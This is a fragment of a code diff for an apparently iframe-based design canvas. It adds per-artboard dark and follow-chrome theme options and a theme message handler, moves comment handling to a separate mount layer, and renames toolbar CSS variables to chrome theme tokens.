|
|
1019
|
+
id: 'theme-dark',
|
|
1020
|
+
label: 'Dark',
|
|
1021
|
+
disabled: !themeSupport.supported,
|
|
1022
|
+
disabledHint: themeHint,
|
|
1023
|
+
onSelect: (target) => {
|
|
1024
|
+
if (target.artboardId) setArtboardTheme(target.artboardId, 'dark');
|
|
1025
|
+
},
|
|
1026
|
+
},
|
|
1027
|
+
{
|
|
1028
|
+
id: 'theme-follow',
|
|
1029
|
+
label: 'Follow chrome',
|
|
1030
|
+
disabled: !themeSupport.supported,
|
|
1031
|
+
disabledHint: themeHint,
|
|
1032
|
+
onSelect: (target) => {
|
|
1033
|
+
if (target.artboardId) setArtboardTheme(target.artboardId, null, true);
|
|
1034
|
+
},
|
|
1035
|
+
},
|
|
1036
|
+
],
|
|
1037
|
+
};
|
|
1038
|
+
|
|
731
1039
|
return {
|
|
732
1040
|
element: [
|
|
733
1041
|
[
|
|
@@ -853,6 +1161,7 @@ function buildRegistry(deps: {
|
|
|
853
1161
|
onSelect: () => distributeArtboards('y'),
|
|
854
1162
|
},
|
|
855
1163
|
],
|
|
1164
|
+
[themeItem],
|
|
856
1165
|
[exportItem('export-artboard', 'Export this artboard…', 'artboard')],
|
|
857
1166
|
],
|
|
858
1167
|
world: [
|
|
@@ -929,6 +1238,13 @@ function CanvasRouter({
|
|
|
929
1238
|
// user closes the composer.
|
|
930
1239
|
useEffect(() => {
|
|
931
1240
|
if (typeof window === 'undefined') return;
|
|
1241
|
+
// Default the canvas-shell chrome theme to dark (matches the dev-server's
|
|
1242
|
+
// own default + the bare `:root` --maude-chrome-* set) so a canvas that
|
|
1243
|
+
// never receives a `dgn:'theme'` message still renders coherent-dark and
|
|
1244
|
+
// the follow-chrome observer (Task 5) has a concrete value to mirror.
|
|
1245
|
+
if (!document.documentElement.dataset.maudeTheme) {
|
|
1246
|
+
document.documentElement.dataset.maudeTheme = 'dark';
|
|
1247
|
+
}
|
|
932
1248
|
const onMessage = (e: MessageEvent) => {
|
|
933
1249
|
const m = e.data as { dgn?: string } | null;
|
|
934
1250
|
if (!m || typeof m !== 'object' || !m.dgn) return;
|
|
@@ -943,6 +1259,19 @@ function CanvasRouter({
|
|
|
943
1259
|
if (typeof t === 'string') setTool(t as never);
|
|
944
1260
|
return;
|
|
945
1261
|
}
|
|
1262
|
+
// D9 — canvas-shell chrome follows the Maude chrome theme. The chrome's
|
|
1263
|
+
// `--maude-chrome-*` token family is keyed by `data-maude-theme` on the
|
|
1264
|
+
// iframe documentElement (see HUD_TOKENS_CSS). This attribute is
|
|
1265
|
+
// DELIBERATELY separate from the DS `data-theme`: it only re-themes the
|
|
1266
|
+
// floating chrome, never the artboard palettes. Followers (per-artboard
|
|
1267
|
+
// "Follow chrome") restamp via the MutationObserver in CanvasShell.
|
|
1268
|
+
if (m.dgn === 'theme') {
|
|
1269
|
+
const t = (m as { theme?: string }).theme;
|
|
1270
|
+
if (t === 'light' || t === 'dark') {
|
|
1271
|
+
document.documentElement.dataset.maudeTheme = t;
|
|
1272
|
+
}
|
|
1273
|
+
return;
|
|
1274
|
+
}
|
|
946
1275
|
};
|
|
947
1276
|
window.addEventListener('message', onMessage);
|
|
948
1277
|
return () => window.removeEventListener('message', onMessage);
|
|
@@ -1020,103 +1349,18 @@ function CanvasRouter({
|
|
|
1020
1349
|
annotSel.clear();
|
|
1021
1350
|
setHoverEl(null);
|
|
1022
1351
|
},
|
|
1023
|
-
onDropComment
|
|
1024
|
-
|
|
1025
|
-
|
|
1026
|
-
|
|
1027
|
-
// elementFromPoint propagates past it and `resolveHoverTarget`
|
|
1028
|
-
// returns null because the next-closest hit is `.dc-artboard-body`
|
|
1029
|
-
// itself.
|
|
1030
|
-
let target = resolveHoverTarget(document, clientX, clientY, { deep: true });
|
|
1031
|
-
if (!target) target = resolveHoverTarget(document, clientX, clientY, { deep: false });
|
|
1032
|
-
// Phase 6 fallback — when both resolveHoverTarget passes bail (the
|
|
1033
|
-
// `hit === bodyEl` early-exit triggers on `pointer-events: none`
|
|
1034
|
-
// decorations), enumerate every element under the click point and
|
|
1035
|
-
// climb the first one that has `data-cd-id`. This is how clicks on
|
|
1036
|
-
// SVG logos / icon glyphs land on the actual stamped wrapper.
|
|
1037
|
-
if (!target && typeof document.elementsFromPoint === 'function') {
|
|
1038
|
-
const stack = document.elementsFromPoint(clientX, clientY);
|
|
1039
|
-
for (const candidate of stack) {
|
|
1040
|
-
const stamped = (candidate as Element).closest?.('[data-cd-id]') as HTMLElement | null;
|
|
1041
|
-
if (!stamped) continue;
|
|
1042
|
-
if (!stamped.closest('.dc-artboard-body')) continue;
|
|
1043
|
-
const artboardEl = stamped.closest('[data-dc-screen]');
|
|
1044
|
-
target = {
|
|
1045
|
-
el: stamped,
|
|
1046
|
-
cdId: stamped.getAttribute('data-cd-id'),
|
|
1047
|
-
artboardId: artboardEl?.getAttribute('data-dc-screen') ?? null,
|
|
1048
|
-
};
|
|
1049
|
-
break;
|
|
1050
|
-
}
|
|
1051
|
-
}
|
|
1052
|
-
if (!target) {
|
|
1053
|
-
// Floating comment fallback — no element anchor, just a click
|
|
1054
|
-
// point. The overlay still renders a pin at the stored bounds.
|
|
1055
|
-
if (typeof window === 'undefined' || typeof document === 'undefined') return;
|
|
1056
|
-
const floatingSel: Selection = {
|
|
1057
|
-
file: deriveFile(),
|
|
1058
|
-
id: undefined,
|
|
1059
|
-
selector: '',
|
|
1060
|
-
artboardId: null,
|
|
1061
|
-
tag: '',
|
|
1062
|
-
classes: '',
|
|
1063
|
-
text: '',
|
|
1064
|
-
dom_path: [],
|
|
1065
|
-
bounds: { x: clientX - 12, y: clientY - 12, w: 24, h: 24 },
|
|
1066
|
-
html: '',
|
|
1067
|
-
};
|
|
1068
|
-
try {
|
|
1069
|
-
document.dispatchEvent(
|
|
1070
|
-
new CustomEvent('cm:open-composer', {
|
|
1071
|
-
detail: { selection: floatingSel, clientX, clientY },
|
|
1072
|
-
})
|
|
1073
|
-
);
|
|
1074
|
-
} catch {
|
|
1075
|
-
/* ignore */
|
|
1076
|
-
}
|
|
1077
|
-
try {
|
|
1078
|
-
window.parent.postMessage({ dgn: 'comment-compose', selection: floatingSel }, '*');
|
|
1079
|
-
} catch {
|
|
1080
|
-
/* parent detached */
|
|
1081
|
-
}
|
|
1082
|
-
return;
|
|
1083
|
-
}
|
|
1084
|
-
const sel = hoverTargetToSelection(target);
|
|
1085
|
-
// Commit the target to the selection set so the halo persists while
|
|
1086
|
-
// the composer is open. The user clears by:
|
|
1087
|
-
// - submit / cancel on the composer (overlay dispatches force-clear)
|
|
1088
|
-
// - pressing Esc inside the canvas (router's onEscape → clear)
|
|
1089
|
-
// - clicking another element in comment mode (this handler runs
|
|
1090
|
-
// again and replaces)
|
|
1091
|
-
selSet.replace(sel);
|
|
1092
|
-
if (typeof window === 'undefined' || typeof document === 'undefined') return;
|
|
1093
|
-
// Phase 6 — open the in-place composer inside the iframe at the click
|
|
1094
|
-
// point. Custom event is iframe-local so the overlay can subscribe
|
|
1095
|
-
// without round-tripping through the parent shell.
|
|
1096
|
-
try {
|
|
1097
|
-
document.dispatchEvent(
|
|
1098
|
-
new CustomEvent('cm:open-composer', {
|
|
1099
|
-
detail: { selection: sel, clientX, clientY },
|
|
1100
|
-
})
|
|
1101
|
-
);
|
|
1102
|
-
} catch {
|
|
1103
|
-
/* CustomEvent absent — fall through to legacy parent path */
|
|
1104
|
-
}
|
|
1105
|
-
// Still post to parent for back-compat with any legacy `.html` mocks
|
|
1106
|
-
// whose inspector script consumes `comment-compose`.
|
|
1107
|
-
try {
|
|
1108
|
-
window.parent.postMessage({ dgn: 'comment-compose', selection: sel }, '*');
|
|
1109
|
-
} catch {
|
|
1110
|
-
/* parent detached */
|
|
1111
|
-
}
|
|
1112
|
-
},
|
|
1352
|
+
// onDropComment is intentionally absent — the comment drop is owned by
|
|
1353
|
+
// the shell-owned comment mount layer's router (canvas-comment-mount.tsx),
|
|
1354
|
+
// which sits as an ancestor capture-listener over this canvas. In comment
|
|
1355
|
+
// mode that ancestor claims `drop-comment` before this router sees it.
|
|
1113
1356
|
},
|
|
1114
1357
|
});
|
|
1115
1358
|
|
|
1116
1359
|
return (
|
|
1117
1360
|
<>
|
|
1118
1361
|
{children}
|
|
1119
|
-
|
|
1362
|
+
{/* CommentsOverlay is mounted ONCE by the shell-owned comment mount layer
|
|
1363
|
+
(canvas-comment-mount.tsx), not here — single instance per surface. */}
|
|
1120
1364
|
<AnnotationsLayer />
|
|
1121
1365
|
<ToolPalette />
|
|
1122
1366
|
<ArtboardMarqueeOverlay />
|
|
@@ -1155,14 +1399,14 @@ const MULTI_TOOLBAR_CSS = `
|
|
|
1155
1399
|
align-items: stretch;
|
|
1156
1400
|
gap: 2px;
|
|
1157
1401
|
padding: 4px;
|
|
1158
|
-
background: var(--
|
|
1159
|
-
border: 1px solid var(--
|
|
1402
|
+
background: var(--maude-chrome-bg-0, #ffffff);
|
|
1403
|
+
border: 1px solid var(--maude-chrome-fg-0, #1c1917);
|
|
1160
1404
|
border-radius: 8px;
|
|
1161
|
-
box-shadow: 0 6px 24px color-mix(in oklab,
|
|
1162
|
-
font-family: var(--
|
|
1405
|
+
box-shadow: 0 6px 24px var(--maude-chrome-shadow, color-mix(in oklab, #1c1917 10%, transparent));
|
|
1406
|
+
font-family: var(--maude-chrome-font-mono, ui-monospace, SFMono-Regular, Menlo, monospace);
|
|
1163
1407
|
font-size: 11px;
|
|
1164
1408
|
letter-spacing: 0.02em;
|
|
1165
|
-
color: var(--
|
|
1409
|
+
color: var(--maude-chrome-fg-0, #1a1a1a);
|
|
1166
1410
|
user-select: none;
|
|
1167
1411
|
}
|
|
1168
1412
|
.dc-multi-artboard-tb button {
|
|
@@ -1188,8 +1432,8 @@ const MULTI_TOOLBAR_CSS = `
|
|
|
1188
1432
|
}
|
|
1189
1433
|
.dc-multi-artboard-tb .dc-mab-count {
|
|
1190
1434
|
padding: 4px 8px 4px 10px;
|
|
1191
|
-
color: var(--fg-1, rgba(40,30,20,0.7));
|
|
1192
|
-
border-right: 1px solid var(--
|
|
1435
|
+
color: var(--maude-chrome-fg-1, rgba(40,30,20,0.7));
|
|
1436
|
+
border-right: 1px solid var(--maude-chrome-border, rgba(0,0,0,0.08));
|
|
1193
1437
|
margin-right: 2px;
|
|
1194
1438
|
font-variant-numeric: tabular-nums;
|
|
1195
1439
|
}
|
|
@@ -1201,7 +1445,7 @@ const MULTI_TOOLBAR_CSS = `
|
|
|
1201
1445
|
.dc-multi-artboard-tb .dc-mab-divider {
|
|
1202
1446
|
width: 1px;
|
|
1203
1447
|
align-self: stretch;
|
|
1204
|
-
background: var(--
|
|
1448
|
+
background: var(--maude-chrome-border, rgba(0,0,0,0.10));
|
|
1205
1449
|
margin: 0 4px;
|
|
1206
1450
|
}
|
|
1207
1451
|
@media (prefers-reduced-motion: reduce) {
|
|
@@ -1669,137 +1913,6 @@ function classifyContextKind(target: HoverTarget | null): ContextTargetKind {
|
|
|
1669
1913
|
return 'world';
|
|
1670
1914
|
}
|
|
1671
1915
|
|
|
1672
|
-
function hoverTargetToSelection(target: HoverTarget): Selection {
|
|
1673
|
-
const el = target.el;
|
|
1674
|
-
const rect =
|
|
1675
|
-
el && (el as HTMLElement).getBoundingClientRect
|
|
1676
|
-
? (el as HTMLElement).getBoundingClientRect()
|
|
1677
|
-
: null;
|
|
1678
|
-
// `cdId` is the hit element's OWN data-cd-id (deep mode); resolver never
|
|
1679
|
-
// climbs to an ancestor. Falls back to cssPath of the hit when no stable
|
|
1680
|
-
// anchor exists.
|
|
1681
|
-
const cdId = target.cdId;
|
|
1682
|
-
// Selector resolution order:
|
|
1683
|
-
// 1. data-cd-id anchor — stable pipeline-stamped id (preferred).
|
|
1684
|
-
// 2. data-dc-screen — chrome click promoted to whole-artboard select
|
|
1685
|
-
// (T24.5 G8 multi-artboard gesture).
|
|
1686
|
-
// 3. cssPath of the hit — last-resort path string.
|
|
1687
|
-
const selector = cdId
|
|
1688
|
-
? `[data-cd-id="${cdId}"]`
|
|
1689
|
-
: !cdId && target.artboardId
|
|
1690
|
-
? `[data-dc-screen="${target.artboardId}"]`
|
|
1691
|
-
: cssPath(el);
|
|
1692
|
-
return {
|
|
1693
|
-
file: typeof window !== 'undefined' ? deriveFile() : undefined,
|
|
1694
|
-
id: cdId ?? undefined,
|
|
1695
|
-
selector,
|
|
1696
|
-
artboardId: target.artboardId,
|
|
1697
|
-
tag: el?.tagName.toLowerCase() ?? '',
|
|
1698
|
-
classes: realClasses(el),
|
|
1699
|
-
text: shortText(el, 240),
|
|
1700
|
-
dom_path: domPath(el),
|
|
1701
|
-
bounds: rect
|
|
1702
|
-
? {
|
|
1703
|
-
x: Math.round(rect.left),
|
|
1704
|
-
y: Math.round(rect.top),
|
|
1705
|
-
w: Math.round(rect.width),
|
|
1706
|
-
h: Math.round(rect.height),
|
|
1707
|
-
}
|
|
1708
|
-
: null,
|
|
1709
|
-
html: el ? (el.outerHTML ?? '').slice(0, 4000) : '',
|
|
1710
|
-
};
|
|
1711
|
-
}
|
|
1712
|
-
|
|
1713
|
-
function deriveFile(): string | undefined {
|
|
1714
|
-
try {
|
|
1715
|
-
const p = window.location.pathname;
|
|
1716
|
-
if (p === '/_canvas-shell.html' || p === '/_canvas-shell') {
|
|
1717
|
-
const qs = new URLSearchParams(window.location.search);
|
|
1718
|
-
const canvas = qs.get('canvas') ?? '';
|
|
1719
|
-
const designRel = (qs.get('designRel') ?? '.design').replace(/^\/+|\/+$/g, '');
|
|
1720
|
-
return `${designRel}/${canvas}`;
|
|
1721
|
-
}
|
|
1722
|
-
return decodeURIComponent(p).replace(/^\//, '');
|
|
1723
|
-
} catch {
|
|
1724
|
-
return undefined;
|
|
1725
|
-
}
|
|
1726
|
-
}
|
|
1727
|
-
|
|
1728
|
-
function realClasses(el: Element | null): string {
|
|
1729
|
-
if (!el) return '';
|
|
1730
|
-
return (el.getAttribute('class') ?? '')
|
|
1731
|
-
.trim()
|
|
1732
|
-
.split(/\s+/)
|
|
1733
|
-
.filter((c) => c && !c.startsWith('dgn-') && !c.startsWith('dc-cv-'))
|
|
1734
|
-
.join(' ');
|
|
1735
|
-
}
|
|
1736
|
-
|
|
1737
|
-
function shortText(el: Element | null, max: number): string {
|
|
1738
|
-
if (!el) return '';
|
|
1739
|
-
const t = ((el as HTMLElement).innerText || el.textContent || '').replace(/\s+/g, ' ').trim();
|
|
1740
|
-
return t.length > max ? `${t.slice(0, max - 1)}…` : t;
|
|
1741
|
-
}
|
|
1742
|
-
|
|
1743
|
-
function cssPath(el: Element | null): string {
|
|
1744
|
-
if (!el) return '';
|
|
1745
|
-
const path: string[] = [];
|
|
1746
|
-
let cur: Element | null = el;
|
|
1747
|
-
while (cur && cur.nodeType === 1 && path.length < 8) {
|
|
1748
|
-
const dscEl = cur.getAttribute?.('data-dc-element');
|
|
1749
|
-
if (dscEl) {
|
|
1750
|
-
path.unshift(`[data-dc-element="${dscEl}"]`);
|
|
1751
|
-
break;
|
|
1752
|
-
}
|
|
1753
|
-
const dscSc = cur.getAttribute?.('data-dc-screen');
|
|
1754
|
-
if (dscSc) {
|
|
1755
|
-
path.unshift(`[data-dc-screen="${dscSc}"]`);
|
|
1756
|
-
break;
|
|
1757
|
-
}
|
|
1758
|
-
let sel = cur.nodeName.toLowerCase();
|
|
1759
|
-
if (cur.id) {
|
|
1760
|
-
sel = `#${cur.id}`;
|
|
1761
|
-
path.unshift(sel);
|
|
1762
|
-
break;
|
|
1763
|
-
}
|
|
1764
|
-
const cls = realClasses(cur).split(/\s+/).filter(Boolean).slice(0, 2);
|
|
1765
|
-
if (cls.length) sel += `.${cls.join('.')}`;
|
|
1766
|
-
let sib = 1;
|
|
1767
|
-
let n: Element | null = cur.previousElementSibling;
|
|
1768
|
-
while (n) {
|
|
1769
|
-
sib++;
|
|
1770
|
-
n = n.previousElementSibling;
|
|
1771
|
-
}
|
|
1772
|
-
sel += `:nth-child(${sib})`;
|
|
1773
|
-
path.unshift(sel);
|
|
1774
|
-
cur = cur.parentElement;
|
|
1775
|
-
}
|
|
1776
|
-
return path.join(' > ');
|
|
1777
|
-
}
|
|
1778
|
-
|
|
1779
|
-
function domPath(el: Element | null): string[] {
|
|
1780
|
-
const hops: string[] = [];
|
|
1781
|
-
let cur = el;
|
|
1782
|
-
while (cur && cur.nodeType === 1 && hops.length < 8) {
|
|
1783
|
-
let label = cur.nodeName.toLowerCase();
|
|
1784
|
-
const dEl = cur.getAttribute?.('data-dc-element');
|
|
1785
|
-
const dSc = cur.getAttribute?.('data-dc-screen');
|
|
1786
|
-
if (dEl) label += `[data-dc-element="${dEl}"]`;
|
|
1787
|
-
else if (dSc) label += `[data-dc-screen="${dSc}"]`;
|
|
1788
|
-
else if (cur.id) label += `#${cur.id}`;
|
|
1789
|
-
const cls = realClasses(cur).split(/\s+/).filter(Boolean).slice(0, 2);
|
|
1790
|
-
if (cls.length && !dEl && !dSc) label += `.${cls.join('.')}`;
|
|
1791
|
-
hops.unshift(label);
|
|
1792
|
-
cur = cur.parentElement;
|
|
1793
|
-
}
|
|
1794
|
-
return hops;
|
|
1795
|
-
}
|
|
1796
|
-
|
|
1797
|
-
function cssEscape(s: string): string {
|
|
1798
|
-
// Minimal CSS.escape polyfill — only handles chars actually present in
|
|
1799
|
-
// pipeline-stamped IDs (alphanumerics + `-` + `_`).
|
|
1800
|
-
return s.replace(/[^a-zA-Z0-9_-]/g, (c) => `\\${c}`);
|
|
1801
|
-
}
|
|
1802
|
-
|
|
1803
1916
|
function safeQuery(selector: string): Element | null {
|
|
1804
1917
|
try {
|
|
1805
1918
|
return document.querySelector(selector);
|